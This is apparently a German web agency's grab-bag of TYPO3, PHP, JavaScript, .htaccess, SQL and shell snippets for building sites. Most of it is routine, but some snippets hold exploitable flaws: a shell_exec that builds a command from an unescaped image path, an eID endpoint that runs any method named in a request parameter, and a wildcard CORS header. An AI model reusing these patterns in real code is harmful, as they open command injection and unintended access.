// Browser-Heightcalculating for mobile// First we get the viewport height and we multiple it by 1% to get a value for a vh unitlet vh = window.innerHeight * 0.01;// Then we set the value in the --vh custom property to the root of the documentdocument.documentElement.style.setProperty('--vh', `${vh}px`);// We listen to the resize eventwindow.addEventListener('resize', () => {  // We execute the same script as before  let vh = window.innerHeight * 0.01;  document.documentElement.style.setProperty('--vh', `${vh}px`);});

var facilitiesSwiperDetailEquipment = new Swiper('.facilitiesSwiperDetailEquipment', {  pagination: {    el: ".swiper-pagination-equipment",    type: "fraction",  },  speed: 5000,  watchSlidesProgress: true,  autoplay: {    delay: 2500,    disableOnInteraction: false,    pauseOnMouseEnter: true,  },  mousewheel: {    releaseOnEdges: true,    direction: "horizontal",    followFinger: true,  },  breakpoints: {    320: {      slidesPerView: 1,      spaceBetween: 60    },    768: {      slidesPerView: 1.8,      spaceBetween: 60    },    992: {      slidesPerView: 1.8,      spaceBetween: 60    },    1200: {      slidesPerView: 1.8,      spaceBetween: 60    }  }});

Alte TCA-Struktur für das "image“-Feld
<config>
	<type>group</type>
	<internal_type>db</internal_type>
	<appearance>
		<elementBrowserType>file</elementBrowserType>
		<elementBrowserAllowed>jpg,jpeg,png,gif,svg</elementBrowserAllowed>
	</appearance>
	<allowed>sys_file</allowed>
	<size>1</size>
	<minitems>0</minitems>
	<maxitems>1</maxitems>
	<show_thumbs>1</show_thumbs>
</config>

Neue TCA-Struktur für das "image“-Feld
<config>
	<type>input</type>
	<renderType>inputLink</renderType>
	<size>30</size>
	<eval>trim</eval>
	<softref>typolink,typolink_tag,images,url</softref>
	<fieldControl>
		<linkPopup>
			<options>
				<!--<blindLinkOptions>file,mail,page,spec,url</blindLinkOptions>-->
				<!--<blindLinkFields>class,params,target,title</blindLinkFields>-->
			</options>
		</linkPopup>
	</fieldControl>
</config>

Beispiel-SQL-Abfrage:
SELECT * FROM tx_dce_domain_model_dcefield WHERE configuration LIKE "%jpg,jpeg%“

Beispiel-SQL-Abfrage:
UPDATE tx_dce_domain_model_dcefield
SET configuration = '<config>
<type>input</type>
<renderType>inputLink</renderType>
<size>30</size>
<eval>trim</eval>
<softref>typolink,typolink_tag,images,url</softref>
<fieldControl>
<linkPopup>
<options>
<!--<blindLinkOptions>file,mail,page,spec,url</blindLinkOptions>-->
<!--<blindLinkFields>class,params,target,title</blindLinkFields>-->
</options>
</linkPopup>
</fieldControl>
</config>'
WHERE configuration LIKE "%jpg,jpeg%"

renderables:  -    renderingOptions:      previousButtonLabel: 'Previous step'      nextButtonLabel: 'Next step'    type: Page    identifier: page-1    label: ''    renderables:    -        type: Fieldset        identifier: fieldset-1        label: 'Ihre Kontaktdaten'        renderables:          -            properties:              elementClassAttribute: w33

text-wrap: balance;
text-wrap: pretty;

options.pageTree{
  showPageIdWithTitle = 1
}

options.pageTree{
  backgroundColor.2 = #c7dfb6
}

function adjustMapToFitCircle(center, radius) {
	const bounds = new google.maps.LatLngBounds();

	// Calculate the circle's NE and SW bounds
	const northEast = google.maps.geometry.spherical.computeOffset(center, radius * 1000, 45);
	const southWest = google.maps.geometry.spherical.computeOffset(center, radius * 1000, 225);

	// Extend bounds to include these points
	bounds.extend(northEast); bounds.extend(southWest);

	// Fit the map to the bounds of the
	circle map.fitBounds(bounds);
}

<!-- Input field for element autocomplete -->
<input id="placeInput" type="text" placeholder="Enter a location" style="width: 300px;“>

<script>
const $placeInput = $('#placeInput'); // Select the input element using jQuery (make sure jQuery is included)
function initAutocomplete() {
	const autocompleteOptions = {
		fields: ['geometry', 'formatted_address'], // Request only the geometry and formatted address
	};
	const autocomplete = new google.maps.places.Autocomplete($placeInput.get(0), autocompleteOptions);
	autocomplete.addListener('place_changed', () => {
		const place = autocomplete.getPlace();
		if (!place.geometry || !place.geometry.location) {
			console.log(`No details available for input: ${place.name}`);
			return;
			} // Do something with the selected place's geometry or address
	console.log(place.geometry.location);
	console.log(place.formatted_address);
	});
}

// Initialize autocomplete once the page is loaded
window.onload = initAutocomplete;
</script>

<div class="container">    <div class="analytics_youtube-optout col-12">        <div class="no-external-media" style="background-image:url(/typo3conf/ext/site_package/Resources/Public/Images/cookie-video-placeholder.jpg);">             <div class="notice">                 <div class="noticetext">                     <p>                        <f:translate key="label.youtubeOverlayText" extensionName="site_package"/>                         <f:link.page pageUid="17" class="cookie_link" target="_blank">                        <f:translate key="label.privacypolicylink" extensionName="site_package"/></f:link.page>.                    </p>                    <a href="#" class="reset-cookies">                         <button class="button"> <f:translate key="label.youtubeOvelayPrivacySettings" extensionName="site_package"/>                         </button>                    </a>                 </div>            </div>        </div>    </div>    <div class="analytics_youtube-optin col-12">        <iframe width="1200" height="550" src="" data-category="marketing" data-src="https://www.youtube.com/embed/{field.embedcode}" title="YouTube video player" loading="lazy" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe></div>

function downloadMapSnapshot($saveLocation) {
	global $arrOutput; //Geocoordinate list
	$url = 'https://maps.googleapis.com/maps/api/staticmap';
	$url .= '?center=51.19487336190002,10.430072483469583';
	$url .= '&zoom=5';
	$counter = 0;
	foreach ($arrOutput as $key => $entry) {
		if ($counter >= WERT_ZUM_AUSSTEIGEN) {
			break; //Exit when all markers are loaded (Max =15)
		}
		$url .= '&markers=color:black%7Clabel:'.$entry["reference_id"].'%7C';
		$url .= $entry["data_geocoordinates"];
		$url .= '&markers=size:tiny%7Ccolor:green%7CDelta+Junction,AK';
		$counter++;
		//set Markers and increment for loop
	}
	$url .= '&size=640x275';
	$url .= '&scale=2';
	$url .= '&key=API_KEY';
	$fixedUrl = str_replace(' ', '', $url); // remove spaces in URL, because Curl wont load with them
	//echo "<pre>"; print_r($fixedUrl); echo "</pre>";exit;
	// Initialize cURL session
	$ch = curl_init($fixedUrl);
	// Set cURL options
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
	// Verify SSL certificate
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
	// Execute cURL request
	$response = curl_exec($ch);
	//echo "<pre>"; print_r($response); echo "</pre>";exit;
	// Check for cURL errors
	if (curl_errno($ch)) {
		echo 'cURL Error: ' . curl_error($ch);
		curl_close($ch);
		return false;
	}
	// Get HTTP response code
	$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	// Close cURL session
	curl_close($ch);
	// Check if the request was successful
	if ($httpCode == 200) {
		$uploadDir = $saveLocation;
		// Create upload directory if it doesn't exist
		if (!is_dir($uploadDir)) {
			if (!mkdir($uploadDir, 0755, true)) {
				echo 'Failed to create directories...';
				return false;
			}
		}
		$filePath = $uploadDir . '/map.png';        // Save the image to the specified path
		if (file_put_contents($filePath, $response)) {
			//echo 'Map snapshot saved successfully to ' . $filePath;
			return true;
		} else {
			echo 'Failed to save the map snapshot.';
			return false;
		}
	} else {
		echo 'HTTP Error: ' . $httpCode;
		return false;
	}
}

$('#exampleModal').on('hide.bs.modal', function() {    var memory = $(this).html();    $(this).html(memory);  })

https://linz.coderdojo.net/uebungsanleitungen/programmieren/web/html-meine-erste-webseite/
https://linz.coderdojo.net/uebungsanleitungen/programmieren/web/erste-schritte-mit-css/
https://linz.coderdojo.net/uebungsanleitungen/programmieren/web/css-advanced-styles/
https://linz.coderdojo.net/uebungsanleitungen/programmieren/web/html-css-hands-on/
https://linz.coderdojo.net/uebungsanleitungen/programmieren/web/erste-schritte-mit-bootstrap/

const bodyWidth= $(document).width();const bodyHeight = $(document).height();var svgQuery = document.querySelector('svg');    svgQuery.setAttribute('viewBox', "0 0 "+bodyWidth+" "+bodyHeight);    svgQuery.setAttribute('width',bodyWidth);         const svg = document.getElementById("star-path");    const length = svg.getTotalLength();    // start positioning of svg drawing    svg.style.strokeDasharray = length;        // hide svg before scrolling starts    svg.style.strokeDashoffset = length;        window.addEventListener("scroll", function () {          const scrollpercent = (document.body.scrollTop + document.documentElement.scrollTop) / (document.documentElement.scrollHeight - document.documentElement.clientHeight);   console.log(scrollpercent);      const draw = length * 1.7 * scrollpercent;          // Reverse the drawing when scroll upwards      svg.style.strokeDashoffset = length - draw;    });

<f:link.typolink parameter="{image.link}" parts-as="parts" class="mt-4 col-12 col-md-8 offset-md-2 col-lg-4 offset-lg-4 btn btn-link outline text-light arrow">
	<f:if condition="{parts.title}">
		<f:then>
			{parts.title}
		</f:then>
		<f:else>
			Mehr erfahren
		</f:else>
	</f:if>
</f:link.typolink>

hyphens: auto;
hyphenate-limit-chars: auto 5;
hyphenate-limit-lines: 2;
-webkit-hyphens: auto;
-webkit-hyphenate-limit-chars: auto 3;
-webkit-hyphenate-limit-lines: -17;
-ms-hyphens: auto;
-ms-hyphenate-limit-chars: auto 3;
-ms-hyphenate-limit-lines: 4;

a11y: false,

User-agent: GPTBot
Disallow: /

aria-autocomplete="none" list="autocompleteOff" autocomplete="off"

COMPOSER_HOME=/home/webXX/htdocs php composer-setup.php

if (document.readyState !== 'loading') {
	console.log('document is already ready, just execute code here');
	setTimeout(() => {
		showCalendarHome();
	}, 1000);
} else {
	document.addEventListener('DOMContentLoaded', function () {
		console.log('document was not ready, place code here');
		setTimeout(() => {
			showCalendarHome();
		}, 1000);
	});
}

<IfModule mod_headers.c>
  # Security
  Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
  Header set X-Frame-Options "SAMEORIGIN"
  Header set X-Content-Type-Options "nosniff"
  Header set Referrer-Policy "strict-origin-when-cross-origin"
  Header set Content-Security-Policy "default-src 'self' https://*.goliathserver.com; script-src 'self' 'unsafe-inline' https://*.goliathserver.com; style-src 'self' 'unsafe-inline' https://*.goliathserver.com"
  Header set X-Content-Security-Policy "default-src 'self' https://*.goliathserver.com; script-src 'self' 'unsafe-inline' https://*.goliathserver.com; style-src 'self' 'unsafe-inline' https://*.goliathserver.com"
  Header set Permissions-Policy "accelerometer=(), ambient-light-sensor=(), autoplay=(self), battery=(), camera=(), cross-origin-isolated=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(), execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), navigation-override=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()"
  Header set Feature-Policy "accelerometer 'none'; ambient-light-sensor 'none'; autoplay 'self'; battery 'none'; camera 'none'; cross-origin-isolated 'none'; display-capture 'none'; document-domain 'none'; encrypted-media 'none'; execution-while-not-rendered 'none'; execution-while-out-of-viewport 'none'; fullscreen 'none'; geolocation 'none'; gyroscope 'none'; keyboard-map 'none'; magnetometer 'none'; microphone 'none'; midi 'none'; navigation-override 'none'; payment 'none'; picture-in-picture 'none'; publickey-credentials-get 'none'; screen-wake-lock 'none'; sync-xhr 'none'; usb 'none'; web-share 'none'; xr-spatial-tracking 'none'"
</IfModule>

stylesSet:  - { name: "Button", element: "a", attributes: { class: "align-items-center d-flex primary-button" } }

# This file applies Content-Security-Policy (CSP) HTTP headers
# to directories containing (user uploaded) resources like
# /fileadmin/ or /uploads/

<IfModule mod_headers.c>
    # matching requested *.pdf files only (strict rules block Safari showing PDF documents)
    <FilesMatch ".pdf$">
        Header set Content-Security-Policy "default-src 'self' 'unsafe-inline'; script-src 'none'; object-src 'self'; plugin-types application/pdf;"
    </FilesMatch>
    # matching requested *.svg files only (allows using inline styles when serving SVG files)
    <FilesMatch ".svg">
        Header set Content-Security-Policy "default-src 'self'; script-src 'none'; style-src 'unsafe-inline'; object-src 'none';"
    </FilesMatch>
    # matching anything else, using negative lookbehind pattern
    <FilesMatch "(?<!.(?:pdf|svg))$">
        Header set Content-Security-Policy "default-src 'self'; script-src 'none'; style-src 'none'; object-src 'none';"
    </FilesMatch>

    # =================================================================
    # Variations to send CSP header only when it has not be set before.
    # Adjust all `Header set` instructions above
    #     Header set Content-Security-Policy "<directives>"
    # with substitutes shown below
    #
    # -----------------------------------------------------------------
    # a) for Apache 2.4 (having `setifempty`)
    # -----------------------------------------------------------------
    #     Header setifempty Content-Security-Policy "<directives>"
    #
    # -----------------------------------------------------------------
    # b) for Apache 2.2 (using fallbacks)
    # -----------------------------------------------------------------
    #     Header append Content-Security-Policy ""
    #     Header edit Content-Security-Policy "^$" "<directives>"
    #
    # =================================================================
</IfModule>

gsplit -l 5000 -d --additional-suffix=.txt $FileName file

<trans-unit id=„title.close" xml:space="preserve">
         <source>close</source> —> Rootlanguage
	<target>schließen</target> —> Targetlanguage
 </trans-unit>

[page["uid"] == 1]
page.bodyTag = <body id="home">
[global]

docker ps --format "{{.Names}}"
docker cp /pfad/zur/quelldatei container_name:/zielpfad/im/container/

options.clearCache.pages = 1

# search and replace
UPDATE capps_media SET path = REPLACE(path, '/home/www/p632963/websecure/', '/home/www/p632963/files/websecure/');

<IfModule mod_headers.c>
  Header set Access-Control-Allow-Origin "*"
</IfModule>

$(this).find('.yamm-content').addClass(function() {
            return 'parents-' + $(this).find("li.yamm-toggle").length;
});

$('.shared-partial.uptime-90-days-wrapper svg rect').trigger('mouseover');

<?php
    $to      = 'nobody@example.com';
    $subject = 'the subject';
    $message = 'hello';
    $headers = 'From: webmaster@example.com'       . "rn" .
                 'Reply-To: webmaster@example.com' . "rn" .
                 'X-Mailer: PHP/' . phpversion();

    mail($to, $subject, $message, $headers);
?>

#https://julia-vicentini.de/blog/http-security-header-fuer-die-htaccess-datei/
#https://htaccessbook.com/important-security-headers/
#https://www.elastic2ls.com/blog/apache-entfernen-x-powered-by-header/
<IfModule mod_headers.c>
  Header set X-XSS-Protection "1; mode=block"
  Header set X-Content-Type-Options: nosniff

  Header set Strict-Transport-Security "max-age=31536000" env=HTTPS
  Header always set X-Frame-Options "SAMEORIGIN"

 Header always unset "X-Powered-By"
 Header unset "X-Powered-By"

  Header set Referrer-Policy: strict-origin-when-cross-origin

  Header always edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure;SameSite=strict

  Header set Content-Security-Policy "default-src 'self';script-src 'self' 'unsafe-inline' https://www.diosna.de https://www.googletagmanager.com https://www.google-analytics.com https://maps.googleapis.com https://*.cookiebot.com;style-src 'self' 'unsafe-inline' https://www.diosna.de https://fonts.googleapis.com;img-src 'self' data: https://www.diosna.de https://www.google-analytics.com https://*.doubleclick.net https://maps.gstatic.com https://*.googleapis.com https://*.ggpht.com;font-src 'self' data: https://www.diosna.de https://fonts.gstatic.com;connect-src 'self' https://www.diosna.de https://www.google-analytics.com https://*.doubleclick.net https://maps.googleapis.com https://*.cookiebot.com;frame-src 'self' https://www.diosna.de https://www.google.de https://www.google.com https://*.youtube.com https://*.youtube-nocookie.com https://*.cookiebot.com;"

  Header set x-content-security-policy "frame-ancestors 'self'; base-uri 'self'; default-src 'none'; form-action 'self'; img-src 'self' https://www.diosna.com data:; font-src 'self' data:; object-src 'none'; script-src 'self' '; style-src 'self';"
  Header set Content-Security-Policy "default-src 'self';script-src 'self' 'unsafe-inline' https://www.diosna.de https://www.googletagmanager.com https://www.google-analytics.com https://maps.googleapis.com https://*.cookiebot.com;style-src 'self' 'unsafe-inline' https://www.diosna.de https://fonts.googleapis.com;img-src 'self' data: https://www.diosna.de https://www.google-analytics.com https://*.doubleclick.net https://maps.gstatic.com https://*.googleapis.com https://*.ggpht.com;font-src 'self' data: https://www.diosna.de https://fonts.gstatic.com;connect-src 'self' https://www.diosna.de https://www.google-analytics.com https://*.doubleclick.net https://maps.googleapis.com https://*.cookiebot.com;frame-src 'self' https://www.diosna.de https://www.google.de https://www.google.com https://*.youtube.com https://*.youtube-nocookie.com https://*.cookiebot.com;"

   Header always set Permissions-Policy "geolocation=(self 'https://www.diosna.com' ), microphone=()"

</IfModule>

// …
if (!empty($geo) && !empty($geo['latitude']) && !empty($geo['longitude'])) {
  // mit Typo3DbQueryParser Extbase Query Objekt zu Doctrine QueryBuilder konvertieren
  $queryParser = $this->objectManager->get(Typo3DbQueryParser::class);
  $queryBuilder = $queryParser->convertQueryToDoctrineQueryBuilder($query);

  // eigenes SQL dem QueryBuilder hinzufügen
  $queryBuilder->addSelectLiteral($this->getDistanceSelectPart($geo['latitude'], $geo['longitude']) . ' AS distance');

  if (!empty($geo['radius'])) {
    $queryBuilder->having($queryBuilder->expr()->lte('distance', $geo['radius']));
    $queryBuilder->orderBy('distance', 'ASC‘);
  }

  // QueryBuilder SQL und Parameter als Statement des Extbase Query Objekts setzen
  $query->statement($queryBuilder->getSQL(), $queryBuilder->getParameters());
}

return $query->execute();

<script type="text/javascript">
// prevent google maps from loading roboto font from external
var head = document.getElementsByTagName('head')[0];
var insertBefore = head.insertBefore;

head.insertBefore = function (newElement, referenceElement) {
    if (newElement.href && newElement.href.indexOf('//fonts.googleapis.com/css?family=Roboto') > -1) {
        return;
    }

    insertBefore.call(head, newElement, referenceElement);
};
</script>

Header set Strict-Transport-Security "max-age=31536000" env=HTTPS

unter <IfModule mod_php7.c>
php_flag output_buffering Off

htaccces:
<FilesMatch ".json$">
	AddType "text/javascript" .json
</FilesMatch>

$ClearText = preg_replace( "/ns+/", "n", rtrim(html_entity_decode(strip_tags($HTMLText))) );

SELECT uid, usergroup, zip, city, country, ExtractValue(tx_capps_data, '/T3FlexForms/data/sheet/language/field[@index="ptr_email_1"]/value') AS ptr_email_1 FROM `fe_users` WHERE disable != 1 AND deleted != 1

//
UPDATE fe_users SET tx_capps_data = UpdateXml(tx_capps_data,'//T3FlexForms/data/sheet/language/field[@index="ptr_email_1"]/value',CONCAT('<value index="vDEF">', 'ulf.langnickel@ptr-hartmann.com', '</value>' )) WHERE uid = 2577;

<section class="counter">
  <!--
  - text: starting number
  - data-to: number to count to
  - data-speed: count duration in ms
  -->
  <span class="count-number" data-to="60" data-speed="500">0</span>
</section>

<script type="text/javascript">
	/* counter begin */
  if ($('section.counter').length) {
    var animationStarted = false;

    $(document).on('scroll', function() {
      if (
        animationStarted ||
        !isScrolledIntoView($('section.counter'), $(window))
      )
        return;

      animationStarted = true;
      $('section.counter .animation').addClass('animate');

      $('section.counter .count-number').each(function() {
        var $this = $(this);
        var countTo = $this.attr('data-to');
        var duration = $this.attr('data-speed') ? $this.attr('data-speed') : 6000;

        $({
          countNum: $this.text(),
        }).animate(
          {
            countNum: countTo,
          },
          {
            duration: duration,
            easing: 'linear',
            step: function () {
              $this.text(Math.floor(this.countNum));
            },
            complete: function () {
              $this.text(this.countNum);
              $('section.counter .animation').removeClass('animate');
            },
          }
        );
      });
    });

    function isScrolledIntoView($element, $window) {
      var viewportBottom = $window.scrollTop() + $window.height();
      var elementTop = $element.offset().top;

      return viewportBottom > elementTop;
    }
  }
  /* counter end */
</script>

<style>
#copy-text {
    position: fixed;
    top: -100%;
    left: -100%;
}
</style>

<input id="copy-text" value="" type="text" />

<f:if condition="{data.content.4t3_data.bsp}">...</f:if>

oder

<notempty element="element_data_bsp">...</notempty>

plugin.tx_powermail {

	# ensure that cybob templates are used (override other extensions paths)
	view {
		templateRootPaths {
			100 < .1
			1 >
		}

		partialRootPaths {
			100 < .1
			1 >
		}

		layoutRootPaths {
			100 < .1
			1 >
		}
	}
}

sudo killall -HUP mDNSResponder

SHELL:
grep -l -r -w "SUCHBEGRIFF" VERZEICHNIS

PHP
<?php

echo shell_exec('grep -l -r -w "cookieconsent" capps');

//typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['eID_include']['###eID-Schlüssel###'] = 'typo3conf/scripts/php/w/e/Skript.php';


//typo3conf/scripts/php/w/e/Skript.php
namespace CYBOB\PackageName\CategoryName;

class SkriptEidBootstrap {

	private $gpVars;
	protected $objectManager;

	const GP_GROUP_PARAMS = 'gpgroupkey';

	public function __construct() {
		$feUserObj = \TYPO3\CMS\Frontend\Utility\EidUtility::initFeUser();
		$pid = (\TYPO3\CMS\Core\Utility\GeneralUtility::_GET('id') ? \TYPO3\CMS\Core\Utility\GeneralUtility::_GET('id') : 1);
		$GLOBALS['TSFE'] = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance('TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController', NULL, $pid, 0, TRUE);
		$GLOBALS['TSFE']->connectToDB();
		$GLOBALS['TSFE']->fe_user = $feUserObj;
		$GLOBALS['TSFE']->id = $pid;
		$GLOBALS['TSFE']->determineId();

		$GLOBALS['TSFE']->initTemplate();
		$GLOBALS['TSFE']->getConfigArray();

		\TYPO3\CMS\Frontend\Utility\EidUtility::initLanguage();
		$GLOBALS['TSFE']->settingLanguage();
		$GLOBALS['TSFE']->settingLocale();

		$GLOBALS['TSFE']->set_no_cache();
		$GLOBALS['TSFE']->cObj = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance('TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer');

			//wird fuer BE Funktionalitaeten benoetigt, beinhaltet auch den aktuell eingeloggten BE User
		$GLOBALS['BE_USER'] = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance('TYPO3\CMS\Core\Authentication\BackendUserAuthentication');
		$GLOBALS['BE_USER']->start();

		$this->objectManager = GeneralUtility::makeInstance('TYPO3\\CMS\\Extbase\\Object\\ObjectManager');

		$this->gpVars = GeneralUtility::_GP(self::GP_GROUP_PARAMS);
	}


	public function run() {
		if(method_exists($this, $this->gpVars['method']) && $this->gpVars['method'] != 'run'){
			header('Content-Type: application/json');
			echo json_encode($this->{$this->gpVars['method']}());
		}
	}
}

$eID = GeneralUtility::makeInstance('CYBOB\PackageName\CategoryName\Skript');
$eID->run();

<script type="application/ld+json">
  {
    "@context" : "https://schema.org/",
    "@type" : "JobPosting",
    "datePosted": "<f:format.date format='Y-m-d'> {field.date}</f:format.date>",
    "validThrough": "<f:format.date format='Y-m-d'> {field.validThrough}</f:format.date>",
    "description": "<f:format.htmlentities>{field.text}</f:format.htmlentities>",
    "employmentType": "{field.employmentType}",
    "title": "{field.headline}",
    "hiringOrganization": {
      "@type": "Organization",
      "name": "EnviTec Biogas AG",
      "sameAs":"https://www.envitec-biogas.de/",
      "logo": "https://www.envitec-biogas.de/fileadmin/media/images/_envitec-logos/logo_envitec_google_jobs.jpg"
    },
    "jobLocation": {
      "@type": "Place",
      "address": {
        "@type": "PostalAddress",
        "streetAddress": "Boschstraße 2",
        "addressLocality": "Saerbeck",
        "addressRegion" : "Nordrhein-Westfalen",
        "postalCode": "48369",
        "addressCountry": "DE"
      }
    }
  }

</script> 

if ($imagePath) {
    $imageInfo = shell_exec('convert ' . $imagePath . ' -colorspace Gray -format "%[mean]" info:');

    if ($imageInfo) {
        $textColour = ((int)$imageInfo < 45000 ? 'light' : 'dark') ;
     }
 }

SetEnvIf Request_URI "/typo3(/.*)?$" backend
Order deny,allow
Deny from all
Allow from env=!backend

# Kunde
Allow from IP_KUNDE

# cybob
Allow from 212.95.112.203

#
# z.B. ins +ext Setup im TYPO3 Backend
#
lib.gpvar = COA
lib.gpvar {
  # Schuetzt vor XSS, daher auch ein COA!
  stdWrap.htmlSpecialChars = 1
  10 = TEXT
  10 {
    dataWrap = GP:{current}
    insertData = 1
    wrap3 = {|}
  }
}

#
# im Template dann
#
{f:cObject(typoscriptObjectPath: 'lib.gpvar', data: 'noheader')}

#
# RTE-Konfigurationsdatei anlegen, z.B. unter:
#
# typo3conf/RTE/Default.yaml
#

# typo3conf/RTE/Default.yaml
imports:
 # Import default RTE config (for example)
  - { resource: "EXT:rte_ckeditor/Configuration/RTE/Default.yaml" }
  # Import the image plugin configuration
  - { resource: "EXT:rte_ckeditor_image/Configuration/RTE/Plugin.yaml" }

editor:
  config:
    # RTE default config removes image plugin - restore it:
    removePlugins: null


#
# Konfigurationsdatei einbinden, vorzugsweise in der typo3conf/AdditionalConfiguration.php
# Gibt es sie bereits, den Inhalt einfach hinten anhängen, ansonsten die Datei vorher erstellen.
#

# typo3conf/AdditionalConfiguration.php
<?php

$GLOBALS['TYPO3_CONF_VARS']['RTE']['Presets']['default'] = 'typo3conf/RTE/Default.yaml';

# DB Exportieren (DBNAME_dump.sql ist gleichzeitig die Sicherung der DB ;) )

mysqldump --opt -Q -h HOSTNAME -u USER -p DBNAME > DBNAME_dump.sql


# Konvertieren der Datei in das gewuenschte Charset
# Mehr Infos zu iconv: https://wiki.ubuntuusers.de/Skripte/Zeichensatzkonvertierung/

iconv -f CHARSET_OLD -t CHARSET_NEW DBNAME_dump.sql > dump-converted.sql

Beispiel: iconv -f iso-8859-1 -t utf8 DBNAME_dump.sql > dump-converted.sql


# DB Importieren
mysql -h HOSTNAME -u USER -p --default-character-set=CHARSET_NEW DBNAME < dump-converted.sql

Beispiel: mysql -h HOSTNAME -u USER -p --default-character-set=utf8 DBNAME < dump-converted.sql

FCGIWrapper /home/fcgid/web51/php5.6/php-fcgi .php

options.pageTree.showPageIdWithTitle = 1 

// use TYPO3\CMS\Extbase\Utility\LocalizationUtility;

$localizedString = LocalizationUtility::translate('individual_key', 'extension_name');

// some sql that is not supported by query builder
$sql = 'SELECT *
        FROM mytable
        WHERE id IN (1,2,3,4)
        ORDER BY FIELD(id,3,2,1,4);';

$connection = GeneralUtility::makeInstance(ConnectionPool::class)->getConnectionForTable('table_name');
$statement = $connection->query($sql);

while($row = $statement->fetch()) {
	// do something with the row
}

5 = FILES
5 {
	begin = 0
	maxItems = 1
	references {
		table = pages
		fieldName = media
		uid.data = field:uid:id
	}

	renderObj = COA
	renderObj {
		10 = IMG_RESOURCE
		10 {
			file {
				import.data = file:current:publicUrl
			}
			stdWrap.wrap = <img src="|" class="class"
		}

		15 = TEXT
		15.value.data = file:current:title
		15.stdWrap.wrap = title="|"
		15.stdWrap.required = 1

		20 = TEXT
		20.value.data = file:current:alternative
		20.wrap = alt="|" />
	}
}

##############################################
#                                            #
#  TYPO3 Solutions - Programming by          #
#                                            #
#  cybob communication GmbH - www.cybob.com  #
#                                            #
##############################################

lib.mainnavigation = COA
lib.mainnavigation {
	10 = HMENU
	10 {
		special = directory
		special.value = 1

		1 = TMENU
		1 {
			expAll = 1
			wrap = <ul class="level-1">|</ul>

			NO {
				wrapItemAndSub.cObject = COA
				wrapItemAndSub.cObject {
					10 = TEXT
					10.value = <li>|</li>
				}

				ATagParams = class="a-tag-class" data-test="other-attribute"
				ATagTitle.field = subtitle // title
			}

			CUR < .NO
			CUR = 1
			CUR.wrapItemAndSub.cObject.10.value >
			CUR.wrapItemAndSub.cObject.10.value = <li class="cur">|</li>

			ACT < .CUR
			ACT = 1
			ACT.wrapItemAndSub.cObject.10.value >
			ACT.wrapItemAndSub.cObject.10.value = <li class="act">|</li>

			IFSUB < .NO
			IFSUB = 1
			IFSUB.wrapItemAndSub.cObject.10.value >
			IFSUB.wrapItemAndSub.cObject.10.value = <li class="ifsub">|</li>

			CURIFSUB < .IFSUB
			CURIFSUB = 1
			CURIFSUB.wrapItemAndSub.cObject.10.value >
			CURIFSUB.wrapItemAndSub.cObject.10.value = <li class="curifsub">|</li>

			ACTIFSUB < .CURIFSUB
			ACTIFSUB = 1
			ACTIFSUB.wrapItemAndSub.cObject.10.value >
			ACTIFSUB.wrapItemAndSub.cObject.10.value = <li class="actifsub">|</li>
		}

		2 = TMENU
		2 {
			expAll = 1
			wrap = <ul class="level-2">|</ul>

			NO {
				wrapItemAndSub.cObject = COA
				wrapItemAndSub.cObject {
					10 = TEXT
					10.value = <li>|</li>
				}
			}

			CUR < .NO
			CUR = 1
			CUR.wrapItemAndSub.cObject.10.value >
			CUR.wrapItemAndSub.cObject.10.value = <li class="cur">|</li>

			ACT < .CUR
			ACT = 1
			ACT.wrapItemAndSub.cObject.10.value >
			ACT.wrapItemAndSub.cObject.10.value = <li class="act">|</li>

			IFSUB < .NO
			IFSUB = 1
			IFSUB.wrapItemAndSub.cObject.10.value >
			IFSUB.wrapItemAndSub.cObject.10.value = <li class="ifsub">|</li>

			CURIFSUB < .IFSUB
			CURIFSUB = 1
			CURIFSUB.wrapItemAndSub.cObject.10.value >
			CURIFSUB.wrapItemAndSub.cObject.10.value = <li class="curifsub">|</li>

			ACTIFSUB < .CURIFSUB
			ACTIFSUB = 1
			ACTIFSUB.wrapItemAndSub.cObject.10.value >
			ACTIFSUB.wrapItemAndSub.cObject.10.value = <li class="actifsub">|</li>
		}

		3 = TMENU
		3 {
			expAll = 1
			wrap = <ul class="level-3">|</ul>

			NO {
				wrapItemAndSub.cObject = COA
				wrapItemAndSub.cObject {
					10 = TEXT
					10.value = <li>|</li>
				}

				ATagTitle.field = subtitle // title
			}

			CUR < .NO
			CUR = 1
			CUR.wrapItemAndSub.cObject.10.value >
			CUR.wrapItemAndSub.cObject.10.value = <li class="cur">|</li>

			ACT < .CUR
			ACT = 1
			ACT.wrapItemAndSub.cObject.10.value >
			ACT.wrapItemAndSub.cObject.10.value = <li class="act">|</li>
		}
	}

}

CSS kann mit der Funktion calc() rechnen. (Alle Browser unterstützen diese CSS-Funktion mittlerweile.)

Beispiel:
Eine responsive Webseite nimmt immer 100% der Bildschirmbreite (100vw) ein. Es gibt eine große linke Inhaltsspalte und eine schmalere rechte Spalte. Dabei hat die rechte Spalte eine feste Breite von 280px, die linke große Spalte soll sich entsprechend anpassen. Mit calc() ist es kein Problem die entsprechende Breite für die linke Spalte zu berechnen:

.container-left {
width: calc(100vw - 280px);
}

.container-right {
width: 280px;
}

Addition (+), Substraktion (-), Division (/) und Multiplikation (*) sind möglich.



